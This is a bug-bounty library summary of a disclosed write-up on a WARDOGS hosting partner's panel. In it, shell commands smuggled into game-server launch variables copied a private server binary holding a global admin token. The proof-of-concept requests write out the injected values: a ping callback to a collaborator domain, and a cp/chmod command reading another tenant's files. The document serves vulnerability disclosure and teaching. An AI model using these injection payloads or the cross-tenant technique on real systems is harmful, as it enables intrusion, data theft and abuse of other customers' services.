# Leaking the WARDOGS Server Binary via Remote Code Execution on a Hosting Partner

Command injection in a hosting partner's game-server launch variables let a customer copy and download WARDOGS' private server binary, exposing a backend token with global ban/currency/XP admin rights.

- Payout: Research
- Severity: critical
- Program: WARDOGS
- Write-up by: Sam Curry
- Disclosed: 2026-11-06
- Write-up quality: 8/10
- Original: https://samcurry.net/wardogs
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-wardogs
- Tags: area:cloud domain:infra domain:web impact:data-leak impact:integrity impact:internal-access kind:research platform:research sev:critical tech:rest technique:recon vuln:access-control vuln:command-injection vuln:secrets-leak

**Target:** Game hosting partner panel API (CreateGameService / CommandLines endpoints)
**Root cause:** The hosting partner's custom panel passed user-controlled game server launch variables (StartupMap, Hostname, WDRcon_Password) into shell commands without sanitization, and the DEV game instance ran on the same host as the customer's production server with a shared filesystem.
**Steps:**
1. Buy a server on each of the 3 hosting providers; identify the one with a custom panel.
2. Enumerate `gameId` in `POST /api/GameService/CreateGameService` with body `{"serverId":123,"gameId":456}` until one returns 200 and launches a "WARDOGS (DEV)" instance.
3. Inject shell metacharacters into launch variables via `PUT /api/Service/893/CommandLines/Predefined/1`, e.g. `"StartupMap": "Kavkazi; ping ssrf.mycollaboratorservice.com"`, `"Hostname": "whatever'; ping ssrf.mycollaboratorservice.com"`, `"WDRcon_Password": "whatever\"; ping ssrf.mycollaboratorservice.com"`.
4. Relaunch the server and confirm command execution via DNS callback to the collaborator domain.
5. Run `ls ../` to see sibling instance folders (824 = original server, 893 = DEV instance) on the same box.
6. Copy the binary into a downloadable config folder: `StartupMap`: `Kavkazi; cp ../824/Wardogs/Binaries/Linux/WardogsServer-Linux-Shipping Configs/qa-prod-current.bin; chmod 644 Configs/qa-prod-current.bin; #`.
7. Download via `GET /api/Service/893/FileManager/Download?path=Configs/qa-prod-current.bin`.
8. Run the binary and proxy traffic to capture the bundled bootstrap JWT and `ServerBrowserRpc.CreatePartnerTokensPartnerV1Request` apiToken.
**How found:** Noticed WARDOGS restricted its server binary to select hosting providers and that all servers share one economy, implying a shared API and that one compromised server could exceed normal admin abuse. Bought servers on all three providers; the custom (non-Pterodactyl) panel looked weaker. Proxied the panel, spotted a free-instance CreateGameService endpoint, enumerated gameId to reach a DEV instance with extra launch-variable functionality, and hypothesized those variables were passed to shell commands.
**Exploitation:** The attacker paid for a legitimate game server, used the free-instance API to spawn a DEV instance, injected shell commands into launch variables to execute inside the container, then abused the shared filesystem to copy the private production server binary into a config directory exposed by the panel's file download endpoint. Running the binary revealed a baked-in Pragma backend token with permissions to ban accounts, read/set currency, XP, mastery, vault data, and manage game instances globally — enabling arbitrary bans and infinite money/gold/XP across all servers.
**Escalation:** Command execution in own sandbox → cross-tenant filesystem read of production binary → extraction of backend API token → global account/economy admin access; also found a single-packet server crash via static analysis of the binary.
**Insight:** When a vendor restricts a binary to hosting partners, the partner's panel is the soft target: enumerate gameId-style parameters to reach internal/DEV instance types, and test every user-settable launch variable (map, hostname, rcon password) for shell metacharacter injection. Also check whether spawned instances share a filesystem with your paid instance — sibling directories like `../<otherId>/` let you read files outside your tenant.

## Proof of concept (copied exactly from the original report)

**Command injection via game server variables**

```
PUT /api/Service/893/CommandLines/Predefined/1 HTTP/1.1
Host: redacted
Cookie: <redacted authenticated session>
Content-Type: application/json
Accept: application/json

{
 "name": "Default",
 "variables": {
 "StartupMap": "Kavkazi; ping ssrf.mycollaboratorservice.com",
 "Hostname": "whatever'; ping ssrf.mycollaboratorservice.com",
 "WDRcon_Password": "whatever\"; ping ssrf.mycollaboratorservice.com"
 }
}
```

**Copy server binary to downloadable config folder**

```
"StartupMap": "Kavkazi; cp ../824/Wardogs/Binaries/Linux/WardogsServer-Linux-Shipping Configs/qa-prod-current.bin; chmod 644 Configs/qa-prod-current.bin; #",
```

**Download leaked server binary via file manager**

```
GET /api/Service/893/FileManager/Download?path=Configs/qa-prod-current.bin HTTP/1.1
Host: redacted
Cookie: <redacted authenticated session>
Accept: application/json
```

